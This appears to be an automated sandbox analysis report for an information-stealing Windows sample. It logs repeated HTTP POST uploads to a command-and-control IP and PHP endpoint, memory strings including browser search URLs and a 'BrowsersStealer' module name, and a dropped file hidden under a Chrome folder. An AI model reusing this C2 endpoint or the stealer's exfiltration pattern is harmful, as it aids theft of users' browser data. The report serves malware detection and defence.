Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1788Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1092Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1092Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1088Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1092Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1092Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.185.16

Source: unknown

HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003332000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.00000000034CC000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.000000000338C000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.000000000339B000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003287000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.124.185.16
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.000000000309B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003332000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.00000000034CC000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.000000000338C000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.000000000339B000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003287000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.124H
Source: DWTukBG9R7.exe, 00000000.00000002.2144864068.0000000003A08000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.00000000031C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Code function: 0_2_00007FF848F2ED50	0_2_00007FF848F2ED50
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Code function: 0_2_00007FF848F20D6C	0_2_00007FF848F20D6C
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Code function: 0_2_00007FF8490D39F2	0_2_00007FF8490D39F2
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Code function: 0_2_00007FF8490D3D49	0_2_00007FF8490D3D49
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Code function: 0_2_00007FF8490C000A	0_2_00007FF8490C000A
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF848F1ED50	6_2_00007FF848F1ED50
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF848F10D6C	6_2_00007FF848F10D6C
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8490C39F2	6_2_00007FF8490C39F2
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8490C3D49	6_2_00007FF8490C3D49
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8490B000A	6_2_00007FF8490B000A
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8495ACA8A	6_2_00007FF8495ACA8A
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8495ADEE2	6_2_00007FF8495ADEE2
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8495AC30D	6_2_00007FF8495AC30D
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8495A13D5	6_2_00007FF8495A13D5
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8495A46F9	6_2_00007FF8495A46F9
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8496B000A	6_2_00007FF8496B000A

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\CKvNPuCt.log CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4

Source: DWTukBG9R7.exe, 00000000.00000002.2144454990.0000000002FE0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs DWTukBG9R7.exe
Source: DWTukBG9R7.exe, 00000000.00000002.2152680576.0000000013C31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs DWTukBG9R7.exe
Source: DWTukBG9R7.exe, 00000000.00000002.2152680576.0000000013C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs DWTukBG9R7.exe
Source: DWTukBG9R7.exe, 00000000.00000002.2159354991.000000001BB82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs DWTukBG9R7.exe
Source: DWTukBG9R7.exe, 00000000.00000000.2102608195.0000000000BC2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs DWTukBG9R7.exe
Source: DWTukBG9R7.exe	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs DWTukBG9R7.exe

Source: DWTukBG9R7.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

